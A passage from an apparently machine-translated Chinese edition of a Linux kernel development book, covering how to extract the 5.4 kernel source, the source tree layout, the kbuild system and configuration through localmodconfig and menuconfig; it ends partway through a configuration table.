*现在下载完成了,让我们继续。下一步是提取内核源代码树——记住,这是一个经过编译和压缩的(通常是`.tar.xz`)文件。 - -我们假设,正如本章前面详细介绍的,您已经下载了 Linux 内核版本 5.4 的代码库作为压缩文件(进入`~/Downloads`目录): - -```sh -$ cd ~/Downloads ; ls -lh linux-5.4.tar.xz --rw-rw-r-- 1 llkd llkd 105M Nov 26 08:04 linux-5.4.tar.xz -``` - -提取该文件的简单方法是使用无处不在的`tar(1)`实用程序: - -```sh -tar xf ~/Downloads/linux-5.4.tar.xz -``` - -这将把内核源树提取到`~/Downloads`目录下名为`linux-5.4`的目录中。但是如果我们想把它解压到另一个文件夹,比如`~/kernels`呢?然后,这样做: - -```sh -mkdir -p ~/kernels -tar xf ~/Downloads/linux-5.4.tar.xz --directory=${HOME}/kernels/ -``` - -这将把内核源代码提取到`~/kernels/linux-5.4/`文件夹中。为了方便和良好的实践,让我们设置一个*环境变量*来指向我们的内核源代码树的根的位置: - -```sh -export LLKD_KSRC=${HOME}/kernels/linux-5.4 -``` - -Note that, going forward, we will assume that this variable holds the location of the kernel source tree. - -虽然您可以随时使用图形用户界面文件管理器应用(如`Nautilus(1)`)来提取压缩文件,但我强烈建议您熟悉使用 Linux 命令行界面来执行这些操作。 - -Don't forget `tldr(1)` when you need to quickly lookup the most frequently used options to common commands! For example, for `tar(1)`, simply use `tldr tar` to look it up. - -你注意到了吗?我们将内核源树提取到主目录下的任何目录中(甚至其他地方),不像过去树总是提取在根可写位置下(通常,`/usr/src/`)。现在,说不就行了。 - -如果您现在想要做的只是继续内核构建方法,请跳过以下部分,继续前进。如果感兴趣(我们当然希望如此!),下一节将简要但重要地介绍一下内核源代码树的结构和布局。 - -## **内核源码树的简单浏览** - -内核源代码现在可以在您的系统上使用了!酷,让我们快速看一下: - -![](img/60080ecf-a890-4c5c-aaa1-83a69461b019.png) - -Figure 2.3 – The root of the 5.4 Linux kernel source tree - -太好了。有多大?内核源代码树的根中的快速`du -m .`揭示了这个特定的内核源代码树(回想一下,它是 5.4 版本)的大小稍微超过了 1000 MB——几乎是一个千兆字节! - -FYI, the Linux kernel has grown to be big and is getting bigger in terms of **Source** **Lines Of Code**(**SLOCs**). Current estimates are well over 20 million SLOCs. Of course, do realize that not *all* of this code will get compiled when building a kernel. - -光看源代码,我们怎么知道这段代码到底是哪个版本的 Linux 内核?这很简单,一个快速的方法是检查项目 Makefile 的前几行。顺便说一下,内核到处都在使用 Makefile 大多数目录都有一个。我们将这个位于内核源代码树根的 Makefile 称为*顶级 Makefile* : - -```sh -$ head Makefile -# SPDX-License-Identifier: GPL-2.0 -VERSION = 5 -PATCHLEVEL = 4 -SUBLEVEL = 0 -EXTRAVERSION = -NAME = Kleptomaniac Octopus - -# *DOCUMENTATION* -# To see a list of typical targets execute "make help" -# More info can be located in ./README -$ -``` - -显然,这是 5.4.0 内核的来源。 - -让我们自己获得内核源代码树的 10,000 英尺的缩小视图。下表总结了 Linux 内核源代码树根目录中(更重要的)文件和目录的大致分类和用途: - -| **文件或目录名** | **目的** | -| **顶级文件**T2 | | -| `README` | 项目的`README`文件。它告诉我们内核文档保存在哪里——剧透,它在名为`Documentation`的目录中——以及如何开始使用它。文档真的很重要;这是真正的东西,由内核开发人员自己编写。 | -| `COPYING` | 发布内核源代码所依据的许可条款。绝大多数是在众所周知的 GNU GPL v2(编写为 GPL-2.0)许可下发布的[1]。 | -| `MAINTAINERS` | *常见问题:**XYZ 出问题了,联系谁获得支持?*这正是这个文件所提供的——所有内核子系统的列表,实际上一直到单个组件的级别(例如特定的驱动程序)、其状态、当前维护它的人、邮件列表、网站等等。非常有帮助!甚至还有一个助手脚本来寻找可以交谈的人或团队:`scripts/get_maintainer.pl`【2】。 | -| 文件 | 这是内核的顶级 Makefile`kbuild`内核构建系统以及内核模块使用这个 Makefile(至少最初)进行构建。 | -| **主要子系统目录** | | -| `kernel/` | 核心内核子系统:这里的代码处理进程/线程生命周期、CPU 调度、锁定、cgroups、定时器、中断、信令、模块、跟踪等等。 | -| `mm/` | **内存管理** ( **mm** )代码的大部分都在这里。我们将在[第 6 章](06.html)、*内核内部基础–进程和线程*中介绍一点,并在[第 7 章](07.html)、*内存管理内部基础–基础*和[第 8 章](08.html)、*模块作者内核内存分配–第 1 部分*中介绍一些相关内容。 | -| `fs/` | 这里的代码实现了两个关键的文件系统特性:抽象层——内核**虚拟文件系统交换机** ( **VFS** )和单个文件系统驱动程序(例如,`ext[2|4]`、`btrfs`、`nfs`、`ntfs`、`overlayfs`、`squashfs`、`jffs2`、`fat`、`f2fs`等等)。 | -| `block/` | 底层(到 VFS/文件系统)块输入/输出代码路径。它包括实现页面缓存、通用块输入输出层、输入输出调度器等的代码。 | -| `net/` | 完成(至**征求意见函**(**RFC**)—[https://whats . techtarget . com/definition/征求意见函-RFC](https://whatis.techtarget.com/definition/Request-for-Comments-RFC) )网络协议栈的实现。包括高质量的 TCP、UDP、IP 和更多网络协议的实现。 | -| `ipc/` | **进程间通信** ( **IPC** )子系统代码;涵盖了 IPC 机制,如(SysV 和 POSIX)消息队列、共享内存、信号量等。 | -| `sound/` | 音频子系统代码,也称为**高级 Linux 声音架构** ( **ALSA** )。 | -| `virt/` | *虚拟化*(虚拟机管理程序)代码;这里实现了流行且强大的**内核虚拟机** ( **KVM** )。 | -| **基础设施/杂项** | | -| `arch/` | 特定于 arch 的代码就在这里(arch 这个词,我们指的是 CPU)。Linux 最初是 i386 的一个小爱好项目。它现在可能是移植最多的操作系统了(见下表第 3 步中的拱形端口)。 | -| `crypto/` | 该目录包含密码的内核级实现(加密/解密算法,又称转换)和内核 API,为需要密码服务的消费者提供服务。 | -| `include/` | 该目录包含独立于 arch 的内核头(在`arch//include/...`下也有一些特定于 arch 的头)。 - | -| `init/` | 独立于 arch 的内核初始化代码;也许我们最接近内核主函数(记住,内核不是应用)的地方就在这里:`init/main.c:start_kernel()`,其中的`start_kernel()`函数被认为是内核初始化期间的早期 C 入口点。 | -| `lib/` | 最接近于内核库。重要的是要理解内核并不像用户空间应用那样支持共享库。这里的代码被自动链接到内核映像文件中,因此在运行时可供内核使用(各种有用的组件存在于`/lib`中:【un】压缩、校验和、位图、数学、字符串例程、树算法等)。 | -| `scripts/` | 这里包含各种脚本,其中一些在内核构建期间使用,许多用于其他目的(如静态/动态分析等;主要是 Bash 和 Perl)。 | -| `security/` | 内置内核的 **Linux 安全模块** ( **LSM** ),**强制访问控制** ( **MAC** )框架,旨在对用户应用对内核空间施加比默认内核更严格的访问控制(默认模型称为**自主访问控制** ( **DAC** )。目前,Linux 支持多种 LSMs 众所周知的有 SELinux、AppArmor、Smack、大道寺知世、Integrity 和 Yama(注意默认情况下 LSM 是“关闭的”)。 | -| `tools/` | 这里包含了各种工具,大部分是与内核“紧密耦合”的用户空间应用(或脚本)( *perf* ,现代分析工具,就是一个很好的例子)。 | - -Table 2.2 – Layout of the Linux kernel source tree - -下表给出了一些重要的解释: - -1. **内核许可**:在不拘泥于法律细节的情况下,事情的务实本质在这里:由于内核是在 GNU GPU l-2.0 许可下发布的(**GNU GPU l**是 **GNU 通用公共许可**),任何直接使用内核代码库的项目(哪怕是一丁点!),自动归入本许可证(GPL-2.0 的“衍生作品”属性)。这些项目或产品必须在相同的许可条款下发布它们的内核。实际上,当地的情况要糟糕得多;许多在 Linux 内核上运行的商业产品确实有专有的用户和/或内核空间代码。他们通常通过重构内核(最常见的是设备驱动程序)以**可加载内核模块** ( **LKM** )格式来实现。可以在*双许可*模式下发布内核模块(LKM)(例如,作为双 BSD/GPL;LKM 是[第 4 章](04.html)、*编写您的第一个内核模块–LKMs 第 1 部分*、[第 5 章](05.html)、*编写您的第一个内核模块–LKMs 第 2 部分*的主题,我们涵盖了那里内核模块许可的一些信息)。有些人,更喜欢专有许可,设法在没有 GPL-2.0 条款许可的内核模块中发布他们的内核代码;从技术上来说,这或许是可能的,但(至少)被认为是反社会的(甚至可以越界到违法)。感兴趣的可以在本章的*进一步阅读*文档中找到更多关于许可的链接。 -2. `MAINTAINERS`:运行`get_maintainer.pl` Perl 脚本的例子(注意:它只在 Git 树上运行): - -```sh -$ scripts/get_maintainer.pl -f drivers/android/ Greg Kroah-Hartman (supporter:ANDROID DRIVERS) -"Arve Hjønnevåg" (supporter:ANDROID DRIVERS) -Todd Kjos (supporter:ANDROID DRIVERS) -Martijn Coenen (supporter:ANDROID DRIVERS) -Joel Fernandes (supporter:ANDROID DRIVERS) -Christian Brauner (supporter:ANDROID DRIVERS) -devel@driverdev.osuosl.org (open list:ANDROID DRIVERS) -linux-kernel@vger.kernel.org (open list) -$ -``` - -3. Linux `arch` (CPU)端口: - -```sh -$ cd ${LLKD_KSRC} ; ls arch/ -alpha/ arm64/ h8300/ Kconfig mips/ openrisc/ riscv/ sparc/ x86/ -arc/ c6x/ hexagon/ m68k/ nds32/ parisc/ s390/ um/ xtensa/ -arm/ csky/ ia64/ microblaze/ nios2/ powerpc/ sh/ unicore32/ -``` - -As a kernel or driver developer, browsing the kernel source tree is something you will have to get quite used to (and even enjoy!). Searching for a particular function or variable can be a daunting task when the code is in the ballpark of 20 million SLOCs! Do use efficient code browser tools. I suggest the `ctags(1)` and `cscope(1)` **Free and Open Source Software** (**FOSS**) tools. In fact, the kernel's top-level Makefile has targets for precisely these: - -`make tags ; make cscope` - -我们现在已经完成了*第二步*,内核源树的提取!另外,您还学习了内核源代码布局的基础知识。现在让我们转到流程的第 3 步*并学习如何在构建 Linux 内核之前*配置*。* - -# 步骤 3–配置 Linux 内核 - -配置新内核也许是内核构建过程中最关键的一步**。Linux 是广受好评的操作系统的众多原因之一是它的多功能性。认为(企业级)服务器、数据中心、工作站和微型嵌入式 Linux 设备有单独的 Linux 内核代码库是一种常见的误解–不,*它们都使用完全相同的统一 Linux 内核源代码!*因此,为特定用例(服务器、桌面、嵌入式或混合/定制)仔细配置*和*内核是一个强大的特性和需求。这正是我们正在钻研的。** - -**Do carry out this kernel configuration step regardless. Even if you feel you do not require any changes to the existing (or default) config, it's very important to run this step at least once as part of the build process. Otherwise, certain headers that are auto-generated here will be missing and cause issues. At the very least, `make oldconfig` should be carried out. This will set up the kernel config to that of the existing system with config options being requested from the user only for any new options. First though, let's cover some required background on the **kernel build** (**kbuild**) system. - -## 理解 kbuild 构建系统 - -Linux 内核用来配置和构建内核的基础设施被称为 **kbuild** 系统。kbuild 系统没有深入研究血淋淋的细节,而是通过四个关键组件将复杂的内核配置和构建过程联系在一起: - -* `CONFIG_FOO`符号 -* 菜单规范文件,称为`Kconfig` -* 生成文件 -* 整个内核配置文件本身 - -这些组件的用途总结如下: - -| **Kbuild 组件** | **简要目的** | -| 配置符号:`CONFIG_FOO` | 每个可配置的内核`FOO`都由一个`CONFIG_FOO`宏表示。根据用户的选择,宏将解析为`y`、`m`或`n`之一:- `y=yes`: Implying to build the feature into the kernel image itself -- `m=module`:暗示将其构建为一个单独的对象,一个内核模块- `n=no`:暗示不构建功能 Note that `CONFIG_FOO` is an alphanumeric string (as we will soon see, you can look up the precise config option name by using the `make menuconfig` option, navigating to a config option, and selecting the `< Help >` button). | -| `Kconfig`文件 | 这是定义`CONFIG_FOO`符号的地方。kbuild 语法指定其类型(布尔型、三态、[字母]数字型等)和依赖关系树。此外,对于基于菜单的配置用户界面(通过`make [menu|g|x]config`之一调用),它指定了菜单项本身。当然,我们稍后会利用这个特性。 | -| 生成文件 | kbuild 系统使用递归的 Makefile 方法。内核源代码树根文件夹下的 Makefile 被称为*顶层* Makefile,每个子文件夹中都有一个 Makefile 来构建源代码。5.4 普通内核源代码总共有 2500 多个 Makefiles! | -| `.config`文件 | 最终,它的本质——实际的内核配置——被生成并存储在名为`.config`的 ASCII 文本文件中的内核源树根文件夹中。保护好这个文件,它是你产品的关键部分。 | - -Table 2.3 – Major components of the Kbuild build system - -关键是给自己弄一个工作`.config`文件。我们如何做到这一点?我们反复这样做。我们从“默认”配置开始——这是下一节的主题——并根据需要小心地进行自定义配置。 - -## 达到默认配置 - -那么,如何决定初始内核配置呢?存在几种技术;一些常见的如下: - -* 不要指定任何内容;kbuild 系统将引入默认的内核配置。 -* 使用现有发行版的内核配置。 -* 基于内存中当前加载的内核模块构建自定义配置。 - -第一种方法的好处是简单。内核将处理细节,给你一个默认的配置。缺点是默认配置确实非常大(这里,我们指的是为基于 x86 的桌面或服务器类型系统构建 Linux 打开了大量选项,以防万一,这可能会使构建时间非常长,内核映像大小非常大。当然,您需要手动将内核配置为所需的设置。 - -这就引出了一个问题,*默认内核配置存储在哪里*?kbuild 系统使用优先级列表回退方案来检索默认配置。优先级列表及其顺序(首先是最高优先级)在`init/Kconfig:DEFCONFIG_LIST`内指定: - -```sh -$ cat init/Kconfig -config DEFCONFIG_LIST - string - depends on !UML - option defconfig_list - default "/lib/modules/$(shell,uname -r)/.config" - default "/etc/kernel-config" - default "/boot/config-$(shell,uname -r)" - default ARCH_DEFCONFIG - default "arch/$(ARCH)/defconfig" -config CC_IS_GCC -[...] -``` - -仅供参考,`Kconfig`上的内核文档(可在此找到:[https://www . kernel . org/doc/Documentation/kbuild/kconfig-language . txt](https://www.kernel.org/doc/Documentation/kbuild/kconfig-language.txt))记录了`defconfig_list`是什么: - -```sh -"defconfig_list" - This declares a list of default entries which can be used when - looking for the default configuration (which is used when the main - .config doesn't exists yet.) -``` - -从列表中,您可以看到 kbuild 系统首先检查`/lib/modules/$(uname -r)`文件夹中是否存在`.config`文件。如果找到,那里的值将被用作默认值。如果没有找到,它接下来检查一个`/etc/kernel-config`文件的存在。如果找到,那里的值将被用作默认值,如果没有找到,它将移动到前面优先级列表中的下一个选项,以此类推。但是,请注意,内核源代码树的根中存在一个`.config`文件会覆盖所有这些! - -## 获得内核配置的良好起点 - -这给我们带来了一个**真正重要的一点**:作为一个学习练习来玩内核配置是可以的(就像我们在这里所做的那样),但是对于一个生产系统来说,使用一个经过验证的——已知的、经过测试的和有效的——内核配置是非常关键的。 - -在这里,为了帮助您理解为内核配置选择有效起点的细微差别,我们将看到三种获得内核配置起点的方法,我们希望这三种方法是典型的: - -* 首先,典型的小型嵌入式 Linux 系统应该遵循的方法 -* 接下来,一种模拟发行版配置的方法 -* 最后,一种基于现有(或另一个)系统内核模块的内核配置的方法(T0 方法) - -让我们更详细地研究一下这些方法。 - -### 典型嵌入式 Linux 系统的内核配置 - -使用这种方法的典型目标系统是小型嵌入式 Linux 系统。这里的目标是为我们的嵌入式 Linux 项目从一个经过验证的——一个已知的、经过测试的、有效的——内核配置开始。那么,我们到底如何才能实现这一点呢? - -有趣的是,内核代码库本身为各种硬件平台提供了已知的、经过测试的和有效的内核配置文件。我们只需选择与我们的嵌入式目标板匹配(或最接近匹配)的那块。这些内核配置文件存在于`arch//configs/`目录的内核源代码树中。配置文件的格式为`_defconfig`。可以快速浏览一下;请参见下面的截图,其中显示了正在 5.4 版 Linux 内核代码库上执行的命令`ls arch/arm/configs`: - -![](img/d9677c74-d872-470a-b7f9-b29f445d5dd3.png) - -Figure 2.4 – The contents of arch/arm/configs on the 5.4 Linux kernel - -因此,例如,如果您发现自己正在为一个硬件平台配置 Linux 内核,比如说,该平台上有一个三星 Exynos **片上系统** ( **SoC** ),请不要以 x86-64 内核配置文件作为默认文件(或者只是尝试使用它)。没用的。即使您管理它,内核也不会干净地构建/工作。选择合适的内核配置文件:对于我们这里的例子来说,`arch/arm/configs/exynos_defconfig`文件将是一个很好的起点。您可以将该文件复制到内核源代码树根目录下的`.config`中,然后根据您特定的项目需求对其进行微调。 - -又如,树莓 Pi([https://www.raspberrypi.org/](https://www.raspberrypi.org/))是一个受欢迎的业余爱好者平台。内核配置文件——在其内核源代码树中——用作(基础)如下:`arch/arm/configs/bcm2835_defconfig`。文件名反映了树莓皮板使用基于博通 2835 的系统芯片的事实。你可以在这里找到关于树莓皮内核编译的细节。不过,请稍等,我们将在[第 3 章](03.html)、*从源代码构建 5.x Linux 内核–第 2 部分*、在*为树莓皮构建内核*一节中介绍其中的一些内容。 - -An easy way to see exactly which configuration file is good for which platform is to simply perform `make help` on the target platform itself. The latter part of the output displays the config files under the *Architecture specific targets* heading (note though that this is meant for foreign CPUs and doesn't work for the x86[-64]). - -产品内核配置的仔细调整和设置是在*平台*或**板支持包** ( **BSP** )团队中工作的工程师通常执行的工作的重要部分。 - -### 使用分发配置作为起点的内核配置 - -使用这种方法的典型目标系统是桌面或服务器 Linux 系统。 - -接下来,第二种方法也很快: - -```sh -cp /boot/config-5.0.0-36-generic ${LLKD_KSRC}/.config -``` - -这里,我们简单地将现有的 Linux 发行版(这里,它是我们的 Ubuntu 18.04.3 LTS 来宾 VM)配置文件复制到内核源代码树的根中的`.config`文件中,当然,从而使发行版配置成为起点,然后可以进一步编辑它(一个更通用的命令:`cp /boot/config-$(uname -r) ${LLKD_KSRC}/.config`)。 - -### 通过 localmodconfig 方法调整内核配置 - -使用这种方法的典型目标系统是桌面或服务器 Linux 系统。 - -当目标是从基于您现有系统的内核配置开始时,我们认为第三种方法是一种很好的方法,因此(通常)与桌面或服务器 Linux 系统上的典型默认配置相比相对紧凑。在这里,我们通过简单地将`lsmod(8)`的输出重定向到一个临时文件,然后将该文件提供给构建,从而为 kbuild 系统提供系统上当前运行的内核模块的快照。这可以通过以下方式实现: - -```sh -lsmod > /tmp/lsmod.now -cd ${LLKD_KSRC} -make LSMOD=/tmp/lsmod.now localmodconfig -``` - -`lsmod(8)`实用程序只是列出了当前驻留在系统(内核)内存中的所有内核模块。我们将在[第 4 章](04.html)、*编写您的第一个内核模块–LKMs 第 1 部分*中看到更多关于这方面的内容。我们将其输出保存在一个临时文件中,在`LSMOD`环境变量中传递给 Makefile 的`localmodconfig`目标。这个目标的工作是以这样一种方式配置内核,即只包括基本功能加上这些内核模块提供的功能,而忽略其余的,实际上给我们一个当前内核(或`lsmod`输出所代表的任何内核)的合理复制。在接下来的*开始使用 localmodconfig 方法*一节中,我们正是使用这种技术来配置我们的 5.4 内核。 - -好了,这是设置内核配置起点的三种方法。事实上,我们只是触及了表面。更多以给定方式显式生成内核配置的技术被编码到 kbuild 系统本身中!怎么做?通过配置目标至`make`。在`Configuration targets`标题下看到它们: - -```sh -$ cd ${LKDC_KSRC} *# root of the kernel source tree* -$ make help -Cleaning targets: - clean - Remove most generated files but keep the config and - enough build support to build external modules - mrproper - Remove all generated files + config + various backup - files - distclean - mrproper + remove editor backup and patch files - -Configuration targets: - config - Update current config utilising a line-oriented - program - nconfig - Update current config utilising a ncurses menu based - program - menuconfig - Update current config utilising a menu based program - xconfig - Update current config utilising a Qt based front-end - gconfig - Update current config utilising a GTK+ based front-end - oldconfig - Update current config utilising a provided .config as - base - localmodconfig - Update current config disabling modules not loaded - localyesconfig - Update current config converting local mods to core - defconfig - New config with default from ARCH supplied defconfig - savedefconfig - Save current config as ./defconfig (minimal config) - allnoconfig - New config where all options are answered with no - allyesconfig - New config where all options are accepted with yes - allmodconfig - New config selecting modules when possible - alldefconfig - New config with all symbols set to default - randconfig - New config with random answer to all options - listnewconfig - List new options - olddefconfig - Same as oldconfig but sets new symbols to their - default value without prompting - kvmconfig - Enable additional options for kvm guest kernel support - xenconfig - Enable additional options for xen dom0 and guest - kernel support - tinyconfig - Configure the tiniest possible kernel - testconfig - Run Kconfig unit tests (requires python3 and pytest) - -Other generic targets: - all - Build all targets marked with [*] -[...] -$ -``` - -快速但非常有用的一点:为了确保清白,首先使用`mrproper`目标。我们将显示接下来执行的所有步骤的摘要,所以现在不要担心。 - -## 开始使用 localmodconfig 方法 - -现在,让我们使用之前讨论过的第三种方法,即`localmodconfig`技术,快速开始为我们的新内核创建基础内核配置。如上所述,当目标是在基于 x86 的系统上获得内核配置的起点时,这种现有的仅内核模块的方法是一个很好的方法,因为它可以保持相对较小,从而使构建更快。 - -Don't forget: the kernel configuration being performed right now is appropriate for your typical x86-based desktop/server systems. For embedded targets, the approach is different (as seen in the *Kernel config for typical embedded Linux systems* section). We further cover this practically in [Chapter 3](03.html), *Building the 5.x Linux Kernel from Source - Part 2*, under the *Kernel build for the Raspberry Pi* section*.* - -如前所述,首先获取当前加载的内核模块的快照,然后通过指定`localmodconfig`目标让 kbuild 系统对其进行操作,如下所示: - -```sh -lsmod > /tmp/lsmod.now -cd ${LLKD_KSRC} ; make LSMOD=/tmp/lsmod.now localmodconfig -``` - -现在,需要理解的是:当我们执行实际的`make [...] localmodconfig`命令时,完全有可能,甚至有可能,您当前构建的内核(版本 5.4)和您当前实际运行构建的内核(这里是`$(uname -r) = 5.0.0-36-generic`)之间的配置选项会有所不同。在这些情况下,kbuild 系统将在控制台(终端)窗口上显示每个新的配置选项以及您可以设置的可用值。然后,它将提示用户选择在构建的内核中遇到的任何新配置选项的值。您将看到这是一系列问题,并提示您在命令行上回答这些问题。 - -The prompt will be suffixed with `(NEW)`, in effect telling you that this is a *new* kernel config option and it wants your answer as to how to configure it. - -在这里,我们至少会采取简单的方法:只需按下`[Enter]`键接受默认选择,如下所示: - -```sh -$ uname -r5.0.0-36-generic $ make LSMOD=/tmp/lsmod.now localmodconfig -using config: '/boot/config-5.0.0-36-generic' -vboxsf config not found!! -module vboxguest did not have configs CONFIG_VBOXGUEST -* -* Restart config... -* -* -* General setup -* -Compile also drivers which will not load (COMPILE_TEST) [N/y/?] n -Local version - append to kernel release (LOCALVERSION) [] -Automatically append version information to the version string (LOCALVERSION_AUTO) [N/y/?] n -Build ID Salt (BUILD_SALT) [] (NEW) [Enter] Kernel compression mode -> 1\. Gzip (KERNEL_GZIP) - 2\. Bzip2 (KERNEL_BZIP2) - 3\. LZMA (KERNEL_LZMA) - 4\. XZ (KERNEL_XZ) - 5\. LZO (KERNEL_LZO) - 6\. LZ4 (KERNEL_LZ4) -choice[1-6?]: 1 -Default hostname (DEFAULT_HOSTNAME) [(none)] (none) -Support for paging of anonymous memory (swap) (SWAP) [Y/n/?] y -System V IPC (SYSVIPC) [Y/n/?] y -[...] -Enable userfaultfd() system call (USERFAULTFD) [Y/n/?] y -Enable rseq() system call (RSEQ) [Y/n/?] (NEW) -[...] - Test static keys (TEST_STATIC_KEYS) [N/m/?] n - kmod stress tester (TEST_KMOD) [N/m/?] n - Test memcat_p() helper function (TEST_MEMCAT_P) [N/m/y/?] (NEW) -# -# configuration written to .config -# -$ ls -la .config --rw-r--r-- 1 llkd llkd 140764 Mar 7 17:31 .config -$ -``` - -多次按下`[Enter]`键后,询问幸运地结束,kbuild 系统将新生成的配置写入当前工作目录中的`.config`文件(我们截断了之前的输出,因为它太大了,没有必要完全复制)。 - -前面两个步骤负责通过`localmodconfig`方法生成`.config`文件。在我们结束本节之前,这里有一些需要注意的要点: - -* 为了确保完全清白,在内核源代码树的根中运行`make mrproper`或`make distclean`(当您想要从头开始时有用;放心,总有一天会发生的!请注意,这样做也会删除内核配置文件。 -* 在本章中,所有的内核配置步骤和与之相关的截图都是在 Ubuntu 18.04.3 LTS x86-64 客户虚拟机上执行的,我们使用该虚拟机作为构建全新 5.4 Linux 内核的主机。菜单项的确切名称、存在和内容,以及菜单系统(用户界面)的外观和感觉,都可以并且确实根据(a)架构(中央处理器)和(b)内核版本而变化。 -* 如前所述,在一个生产系统或项目中,平台或**板支持包** ( **BSP** )团队,或者实际上是嵌入式 Linux BSP 供应商公司(如果您已经与之合作过的话),将提供一个良好的已知的、工作的和经过测试的内核配置文件。将它复制到内核源代码树根的`.config`文件中,以此作为起点。 - -随着您获得构建内核的经验,您会意识到第一次正确设置内核配置的努力(非常关键!)更高;当然,第一次构建所需的时间很长。然而,一旦做得正确,这个过程通常会变得简单得多——一个反复运行的配方。 - -现在,让我们学习如何使用一个有用且直观的用户界面来调整我们的内核配置。 - -## 通过 make menuconfig 用户界面调整我们的内核配置 - -好的,太好了,我们现在有了一个通过`localmodconfig` Makefile 目标为我们生成的初始内核配置文件(`.config`),如前一节详细所示,这是一个很好的起点。现在,我们想进一步检查和微调内核的配置。做到这一点的一种方法——事实上,推荐的方法——是通过`menuconfig` Makefile 目标。这个目标让 kbuild 系统生成一个相当复杂的(基于 C 的)程序可执行文件(`scripts/kconfig/mconf`,它向最终用户呈现一个整洁的基于菜单的用户界面。在下面的代码块中,当我们第一次调用该命令时,kbuild 系统构建`mconf`可执行文件并调用它: - -```sh -$ make menuconfig - UPD scripts/kconfig/.mconf-cfg - HOSTCC scripts/kconfig/mconf.o - HOSTCC scripts/kconfig/lxdialog/checklist.o - HOSTCC scripts/kconfig/lxdialog/inputbox.o - HOSTCC scripts/kconfig/lxdialog/menubox.o - HOSTCC scripts/kconfig/lxdialog/textbox.o - HOSTCC scripts/kconfig/lxdialog/util.o - HOSTCC scripts/kconfig/lxdialog/yesno.o - HOSTLD scripts/kconfig/mconf -scripts/kconfig/mconf Kconfig -... -``` - -当然,一张图片无疑抵得上千言万语,所以`menuconfig` UI 是这样的: - -![](img/26cf087b-f09d-4447-86fd-d9d98afeb48b.png) - -Figure 2.5 – The main menu of kernel configuration via make menuconfig (on x86-64) - -作为经验丰富的开发人员,或者任何充分使用过计算机的人,我们都知道,事情可能并且确实会出错。以下面的场景为例——第一次在新安装的 Ubuntu 系统上运行`make menuconfig`: - -```sh -$ make menuconfig - UPD scripts/kconfig/.mconf-cfg - HOSTCC scripts/kconfig/mconf.o - YACC scripts/kconfig/zconf.tab.c -/bin/sh: 1: bison: not found -scripts/Makefile.lib:196: recipe for target 'scripts/kconfig/zconf.tab.c' failed -make[1]: *** [scripts/kconfig/zconf.tab.c] Error 127 -Makefile:539: recipe for target 'menuconfig' failed -make: *** [menuconfig] Error 2 -$ -``` - -坚持住,不要惊慌。仔细阅读故障信息。`YACC [...]`后的一行提供了线索:`/bin/sh: 1: bison: not found`。啊,那么用以下命令安装`bison(1)`: - -`sudo apt install bison` - -现在,一切应该都好了。嗯,差不多;再次,在一位刚出炉的 Ubuntu 客人身上,`make menuconfig`接着抱怨`flex(1)`没有安装。所以,我们安装它(你猜对了:通过`sudo apt install flex`)。另外,特别是在 Ubuntu 上,你需要安装`libncurses5-dev`包(在 Fedora 上,做`sudo dnf install ncurses-devel`)。 - -If you have read and followed [Chapter 1](01.html), *Kernel* *Workspace Setup*, you would have all these prerequisite packages already installed. If not, please refer to it now and install all required packages. Remember, *as ye sow…* - -接下来,kbuild 开源框架(顺便说一下,在一大堆项目中重用)通过其用户界面向用户提供了一些线索。菜单项前的符号含义如下: - -* `[.]`:内核特性,布尔选项(开或关): - * `[*]`:开启,功能编译并内置(编译于)到内核镜像(y) - * `[ ]`:关,根本不建(n) -* `<.>`:可能处于三种状态(三态)之一的特征: - * `<*>`:开启,功能编译内置(编译于)内核镜像(y) - * ``:模块,作为内核模块编译和构建的特性(一个 LKM) (m) - * `< >`:关,根本不建(n) -* `{.}`:该配置选项存在依赖关系;因此,需要将其构建(编译)为模块(m)或内置(编译)到内核映像(y)中。 -* `-*-`:依赖项需要在(y)中编译该项。 -* `(...)`:提示:需要输入字母数字(在此选项上按下`[Enter]`键,出现提示)。 - -* ` --->`:随后出现一个子菜单(按下该项上的`[Enter]`导航到子菜单)。 - -同样,经验方法是关键。让我们实际试验一下`make menuconfig`用户界面,看看它是如何工作的。这是下一节的主题。 - -### 制作菜单配置界面的示例用法 - -为了通过方便的`menuconfig`目标获得使用 kbuild 菜单系统的感觉,让我们一步一步地导航到名为`Kernel .config support`的三态菜单项。默认情况下是关闭的,所以让我们打开它;也就是说,让我们把它`y`内置到内核映像中。我们可以在主屏幕上的`General Setup`主菜单项下找到它。 - -打开此功能到底能实现什么?当开启到`y`(当然,如果设为`M`,那么一个内核模块将变为可用,一旦加载完毕),那么当前运行的内核的配置设置可以通过两种方式随时查看: - -* 通过运行`scripts/extract-ikconfig`脚本 -* 通过直接读取`/proc/config.gz`伪文件的内容(当然是`gzip(1)`-压缩;首先解压缩,然后读取) - -作为学习练习,我们现在将学习如何使用下表中显示的值为内核配置选项配置我们的 5.4 Linux 内核(针对 x86-64 架构)。目前,不要强调这些选项的意义;这只是为了练习一下内核配置系统: - -| **功能** | **效果和位置在制作菜单界面** | -**选择<帮助>按钮** -**查看精确 CONFIG_ < FOO >选项** | **值:原** -**- >新值** | -| 本地版本 | 设置内核版本/版本的`-EXTRAVERSION`组件(用`uname -r`查看);`General Setup / Local version - append to kernel release` | `CONFIG_LOCALVERSION` | (无)-> -`-llkd01` | -| 内核配置文件支持 | 允许您查看当前内核配置的详细信息; -`General Setup / Kernel .config support` | `CONFIG_IKCONFIG` | `n` - > `y` | -| 与前面通过 procfs 访问的 plus 相同 | 允许您通过 **proc 文件系统** ( **p** **rocfs** )查看当前内核配置的详细信息;`General Setup / Enable access to .config through /proc/config.gz` | `CONFIG_IKCONFIG_PROC` | `n` - > `y` | -| 内核剖析 | 内核分析支持;`General Setup / Profiling support` | `CONFIG_PROFILING` | `y` - > `n` | -| 业余无线电 | 支持 HAM 电台;`Networking support / Amateur Radio support` | `CONFIG_HAMRADIO` | `y` - > `n` | -| VirtualBox 支持 | 对 VirtualBox 的虚拟化支持;`Device Drivers / Virtualization drivers / Virtual Box Guest integration support` | `CONFIG_VBOXGUEST` | `n` - > `m` | -| **用户空间输入输出驱动程序** ( **输入输出**) | UIO 支持;`Device Drivers / Userspace I/O Drivers` | `CONFIG_UIO` | `n` - > `m` | -| 前面的加上带有通用 IRQ 处理的 UIO 平台驱动程序 | 具有通用 IRQ 处理的 UIO 平台驱动程序;`Device Drivers / Userspace I/O Drivers / Userspace I/O platform driver with generic IRQ handling` | `CONFIG_UIO_PDRV_GENIRQ` | `n` - > `m` | -| 支持文件系统 | `File systems / DOS/FAT/NT Filesystems / MSDOS fs support` | `CONFIG_MSDOS_FS` | `n` - > `m` | -| 安全性:LSMs | 关闭*内核 LSMs`Security options / 